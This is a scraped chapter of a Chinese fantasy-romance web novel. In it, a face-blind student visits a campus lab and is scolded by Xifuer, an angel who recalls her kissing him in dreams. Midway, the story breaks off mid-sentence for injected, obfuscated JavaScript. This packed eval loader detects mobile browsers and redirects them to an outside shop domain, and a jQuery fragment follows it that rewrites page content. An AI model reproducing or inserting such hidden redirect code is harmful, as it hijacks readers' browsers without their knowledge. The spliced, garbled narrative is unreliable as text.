文趣网 > 其他小说 > 入梦修罗场,但我脸盲 > 11. 无礼
    束香思考良久,在小本子上认真记下梦境发生的事情和她的困惑。

    她是无神论者,但客观来讲,她的梦确实有一点奇异。

    昨晚梦见森林和藤蔓后,她像是吃了大补丸一样精神百倍。今天梦见神殿抄书后,身体也有类似的感觉,但没有昨天那么明显和强烈。

    想来想去,毫无头绪,只好暂且放下。

    束香打开课件学习今日课程,她费那么大力气栽苗,绝不允许任何一株苗轻易死掉,她还梦想着吃上自己种的草莓和西瓜呢。

    定好闹钟,束香抛开杂念,沉浸式学习两小时。

    她感知力微弱有时也有好处,世界对她的吸引力较低,她专注用心时更容易进入心流状态。

    闹钟响起,束香随手按灭,加速看完剩下二十分钟课件,记好笔记,才离开学习状态。

    书桌边摆着一个木质书架,束香昨天借回来的书都在这里,全都和梦有关。

    书籍分为两种类型,一部分是心理学和科学,一部分是神学和玄学。

    她挑了一本上世纪富有玄学色彩的讲解书打开,总感觉她的梦离科学有点远。

    看了十几页,束香无语地合上书,这压根就是一本奇物志怪小说合集,什么吞梦控梦的诡异蛇妖,什么喜好吞噬人类精气的邪恶魅魔,什么用歌声催眠人类掀翻商船的深海人鱼……

    这都什么跟什么啊。

    就算她的梦有点玄,也玄不到这种程度吧。

    世上哪有什么蛇妖魅魔人鱼?

    这不胡说八道吗?

    束香正愤愤,突然听见开门声,以及窦豆大声的背诵。

    “人鱼是深海的王者,是世界的瑰宝,是掌控人类的海上霸主……”

    束香探头出去,同情道:“你还在背呢?”

    “那位歌唱大师说不上课就不上课,听说我们院长亲自去请,也吃了闭门羹,回来院长冲我们发火,怪我们连一本几百页的书都背不下来,呵呵呵。”

    窦豆书包一扔,拿了盒炸黄豆递给束香,笑着笑着又唉声叹气。

    束香嘎嘣嘎嘣地咬黄豆,建议她:“要不换节课上呢?”

    “没法换,这是仙乐院强制的必修课,”窦豆抓一把豆子塞进嘴里,面孔狰狞地大嚼,“我还就不信了,不就是一本《人鱼传说》吗,我熬夜给它背了!”

    窦豆豪情万丈地活动嘴部,巴拉巴拉地背。

    束香无声对她比了个加油的手势,回房间登上校园网,正准备给希弗尔发消息,找理由见他一面。

    忽然发现内网消息栏多了小红点。

    她点开一看,真是想什么来什么,居然是希弗尔的消息。

    内容很简单,说的是上次课堂那株复原的小芥草有后续,检测结果比较复杂,让束香过去一趟。

    措辞官方,客气有礼,但要求强硬,让她半个小时内到医疗处。

    确实是希弗尔的风格。

    束香看一眼紧张的时间,赶快背上书包换好鞋子出门。

    准时坐上环岛校车,束香翻开她的小本子。这几天梦做多了,她以为她和希弗尔熟悉不少,可仔细一算,他们在现实中才见过两面。

    一次是课堂,一次是小码头,都没什么交流。

    只要梦境没离谱到把希弗尔也拉进来,那在希弗尔眼里,她就是个普普通通的学妹。

    怀着忐忑的心情抵达医疗院,除了入学体检,这还是束香第一次来到这里。

    神岛学院面积广袤,建筑群一座接一座,设有独立的医院和研究所,医疗所就是这两处地点的统称。

    她按照希弗尔给的地址进入研究所,一个年轻瘦高的男生穿着白大褂迎上来。

    “是束香学妹吧,章医生和希弗尔学长正在等你。”

    束香点头:“嗯嗯我是束香,学长好。”

    男生快步走在她前面引导,时不时回头看她有没有跟上,看样子他很忙碌。

    束香脚步加快,小跑着跟上。很快到了章医生的办公室,男生敲门,隔着门板说:“教授,束香学妹到了。”

    里面传出一声低低地:“进。”

    那声音听在耳朵里,莫名有种黏黏的感觉,束香揉了下耳朵进去。

    踏进去的一瞬间,束香惊了下。

    办公室很大,到处都是书架和文件,墙上镶嵌着大约数十个电子屏,同时播放闪动着束香看不懂的画面。

    角落里甚至还有一个巨大的窝形沙发,旁边摆着一株比束香还高的红珊瑚,非常多样化的一个办公室。

    电脑桌上有三台电脑,后面坐着个白大褂男人,正探头朝她看过来。

    束香视线却不自觉望向窗边站着的长发男人,男人闻声回过头来。

    非常帅气的一张脸。

    束香对他露出一个笑脸,打招呼道:“希弗尔学长。”

    男人一言不发,安静地看着她。

    不知是不是束香的错觉,在她灰暗视野里,男人的瞳孔似乎过分地……细长。

    白大褂左右看看:“嗯?你要找希弗尔,他刚去拿报告了。”

    束香眼睛圆了:“!”

    糟糕糟糕,认错人了。

    “不好意思,我看错了。”她赶紧道歉。

    窗边的男人身形修长,黑发流淌着隐约的紫光,透过窗玻璃的阳光打在他身上,似乎都冷寂两分。

    他悄无声息,像是某种蛰伏在暗夜中神秘危险的猎食者。

    那张脸却又过分招眼,细眉凤眼美人面。

    冷白皮肤,嘴唇猩红。

    尤其那双冷紫色的幽暗竖瞳,格外阴冷妖异。

    即便看不见色彩,束香也被他的长相震了一震。

    因此她才以为他是希弗尔,毕竟帅到这种惊人程度的长发男人,谁能想到还有第二个。

    男人摇摇头,没和束香说话,也没和白大褂打招呼,径直离开了办公室。

    束香视线跟着他,发现他脚步很轻,走动间修长的身体有种说不出的规律感。

    叫她想到某些柔软细长的东西。

    白大褂:“束香同学是吧,坐吧。”

    束香收回目光,乖巧坐下:“你好,您是章医生吧?”

    章医生眼镜盯着电脑屏幕,抽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888269|212648||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    空瞥她一眼,笑起来:“怎么,怕认错人?”

    束香不好意思地笑了笑。

    “我看过你的资料,先天不足,五感薄弱,严重脸盲色盲,嗅觉和味觉感知都远远低于正常水准。”

    章医生语速很快,那种黏黏的感觉更强烈了。

    束香忍住揉耳朵的冲动,点头道:“是这样的。”

    章医生手指在键盘上啪啪地敲,眼珠很灵活地在电脑屏幕和束香脸上来回转。

    “有没有兴趣做个检测?”

    “什么检测?”

    “咔哒”一声门开了,希弗尔拿着一沓报告走进来,目光淡淡掠过束香。

    因着刚才的尴尬失误,束香没第一时间开口打招呼。

    章医生笑:“这次来的是希弗尔了。”

    束香跟着干笑两下,希弗尔从报告里抬目看向两人。

    似乎发生了什么他不知道的事情。

    “学长,”束香站起来,进入正题,“那株小芥草是怎么回事呀?”

    她边说话边走近他,眼神盯着他那张形状姣好的薄唇,仔细分辨是否有残留的伤口。

    由于她的眼部配置不太行,只能集中注意力细看,生怕看错了。

    束香心无旁骛,但她盯着人家嘴巴不挪眼的样子,显然引起了旁人的注意。

    章医生挑眉,发出一声揶揄的调侃。

    “哎呦,有故事啊?”

    希弗尔沉稳脸色变幻,心中涌出不可置信的怫然羞意。

    她竟然在大庭广众之下,这样盯着一位禁欲天使的嘴巴看。

    她想做什么,想要像梦里那次一样扑上来强吻他吗?

    想要咬破他的嘴唇吗?

    想要他的鲜血早一次染上她的身体吗?

    甚至不止一次。

    她强吻了他两次。

    足足两次。

    对一个纯洁的天使做出这种事,希弗尔真是不敢相信,她居然还敢理直气壮地盯着他的嘴巴看。

    他完全不明白,这么两片生在脸上平凡普通的肉,到底有什么吸引她?

    人类的贪婪和堕落总是能超乎他的想象。

    希弗尔忍无可忍,提醒道:“束香小姐,这并不是私人场合,请注意你放肆无礼的眼神。”

    他薄唇开合,束香还认真盯着。

    直到他说完一句话,她彻底确认了。

    没有伤口。

    嘴唇内外干干净净。

    束香提起的心放下,忽而听得章医生的嗤笑声,才反应过来希弗尔的话。

    她诚恳地说:“好的,我以后不会再这样了。”

    她改正得太快,希弗尔的愠怒不上不下地卡住,脸色不太好看。

    他才不会相信她的保证。

    这样坏心眼的女孩,不会只满足于两次。

    束香眨巴眼睛,看起来很无辜。

    心里却在想,希弗尔看起来像是个守身如玉的禁欲派,古板到她多看他两眼都要发火。

    要是他知道她在梦里抓着他吻了两次,他不会羞愧而死吧。

    还好只是梦,束香庆幸。